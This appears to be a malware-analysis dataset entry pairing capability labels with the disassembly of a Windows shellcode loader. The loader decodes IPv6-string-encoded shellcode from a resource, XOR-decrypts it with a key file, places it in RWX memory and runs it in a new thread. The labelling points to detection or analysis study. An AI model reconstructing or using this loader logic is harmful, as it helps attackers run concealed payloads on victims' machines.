Function at 0x1400010e0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x190
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov edx, 0x65
xor ecx, ecx
lea r8d, [rdx - 0x5b]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
lea rcx, str.the_size_of_payload__i_n
mov ebx, eax
call fcn.140001020
movabs rax, 0xc7ce0c7ce0c7ce0d
lea rcx, str.count_of_rows__i_n
mul rbx
mov rdi, rdx
shr rdi, 5
mov rdx, rdi
call fcn.140001020
mov rcx, 0xffffffffffffffff
mov eax, 8
mul rdi
cmovo rax, rcx
mov rcx, rax
call fcn.1400017f0
xor r13d, r13d
mov r14, rax
mov ebx, r13d
test rdi, rdi
je 0x1400013b4
nop word [rax + rax]
mov ecx, 0x27
call fcn.1400017f0
mov qword [r14 + rbx*8], rax
inc rbx
cmp rbx, rdi
jb 0x1400011b0
mov rdx, r13
mov r8, r13
nop dword [rax]
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi]
mov byte [rcx], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 1]
mov byte [rcx + 1], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 2]
mov byte [rcx + 2], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 3]
mov byte [rcx + 3], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 4]
mov byte [rcx + 4], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 5]
mov byte [rcx + 5], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 6]
mov byte [rcx + 6], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 7]
mov byte [rcx + 7], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 8]
mov byte [rcx + 8], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 9]
mov byte [rcx + 9], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0xa]
mov byte [rcx + 0xa], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0xb]
mov byte [rcx + 0xb], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0xc]
mov byte [rcx + 0xc], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0xd]
mov byte [rcx + 0xd], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0xe]
mov byte [rcx + 0xe], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0xf]
mov byte [rcx + 0xf], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x10]
mov byte [rcx + 0x10], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x11]
mov byte [rcx + 0x11], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x12]
mov byte [rcx + 0x12], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x13]
mov byte [rcx + 0x13], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x14]
mov byte [rcx + 0x14], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x15]
mov byte [rcx + 0x15], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x16]
mov byte [rcx + 0x16], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x17]
mov byte [rcx + 0x17], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x18]
mov byte [rcx + 0x18], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x19]
mov byte [rcx + 0x19], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x1a]
mov byte [rcx + 0x1a], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x1b]
mov byte [rcx + 0x1b], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x1c]
mov byte [rcx + 0x1c], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x1d]
mov byte [rcx + 0x1d], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x1e]
mov byte [rcx + 0x1e], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x1f]
mov byte [rcx + 0x1f], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x20]
mov byte [rcx + 0x20], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x21]
mov byte [rcx + 0x21], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x22]
mov byte [rcx + 0x22], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x23]
mov byte [rcx + 0x23], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x24]
mov byte [rcx + 0x24], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x25]
mov byte [rcx + 0x25], al
mov rcx, qword [r14 + r8*8]
inc r8
movzx eax, byte [rdx + rsi + 0x26]
add rdx, 0x29
mov byte [rcx + 0x26], al
cmp r8, rdi
jb 0x1400011d0
jmp 0x1400013b7
mov rdx, r13
lea rcx, str.counter_val___i_n
call fcn.140001020
mov qword [rsp + 0x30], r13
lea rcx, str.C:UsersinspiredHDocumentspython_projectkey.bin
mov rsi, rdi
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
shl rsi, 4
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov dword [rsp + 0x40], r13d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000147a
lea rcx, str.___files_has_been_successfully_opened__n
call fcn.140001020
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r13
mov r8d, 0x12c
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001486
lea rcx, str.___file_has_been_successfully_read__n
call fcn.140001020
mov edx, 0x12c
lea rcx, [0x140003578]
call fcn.140001020
mov edx, dword [rsp + 0x40]
lea rcx, str.bytesread:__i_n
call fcn.140001020
lea rdx, [rsp + 0x50]
lea rcx, str.data_itself:__s_n
call fcn.140001020
lea rcx, str.___n
jmp 0x140001481
lea rcx, str.Error_opening_key_file
call fcn.140001020
lea rcx, str.NTDLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlIpv6StringToAddressA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rsi
mov qword [rsp + 0x48], r13
lea rcx, str._i_buff_size_n
mov r12, rax
call fcn.140001020
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
test rax, rax
jne 0x1400014e5
lea rcx, str.FAILED_ALLOCATION_MEMORY
call fcn.140001020
mov rbp, r15
mov rbx, r13
test rdi, rdi
je 0x14000151d
mov rcx, qword [r14 + rbx*8]
lea rdx, [rsp + 0x48]
mov r8, rbp
call r12
test eax, eax
jne 0x140001509
add rbp, 0x10
jmp 0x140001515
lea rcx, str.FAILED_pRtlIpv6StringToAddressA_n
call fcn.140001020
inc rbx
cmp rbx, rdi
jb 0x1400014f0
mov edi, dword [rsp + 0x40]
mov rcx, rsi
call fcn.1400017f0
mov rbx, rax
mov r9d, r13d
mov rcx, r13
test rsi, rsi
je 0x140001560
sub r15, rax
mov r9d, esi
nop dword [rax]
xor edx, edx
lea r8, [rcx + rbx]
mov rax, rcx
inc rcx
div rdi
movzx eax, byte [rsp + rdx + 0x50]
xor al, byte [r8 + r15]
mov byte [r8], al
cmp rcx, rsi
jb 0x140001540
mov edx, r9d
lea rcx, str.counter_in_xor_value:__i_n
call fcn.140001020
lea rcx, str.xor_decoded__n
call fcn.140001020
lea rcx, str.Execution_of_shellcode_n
call fcn.140001020
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x140001607
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov r8, rdi
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x1400015fe
lea rcx, str.CreateThread_success_n
call fcn.140001020
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x140001613
lea rcx, str.WAIT_FAILED_error_n
jmp 0x14000160e
lea rcx, str.thread_is_not_created__n
jmp 0x14000160e
lea rcx, str.VirtualAlloc_failed_n
call fcn.140001020
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.1400017d0
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret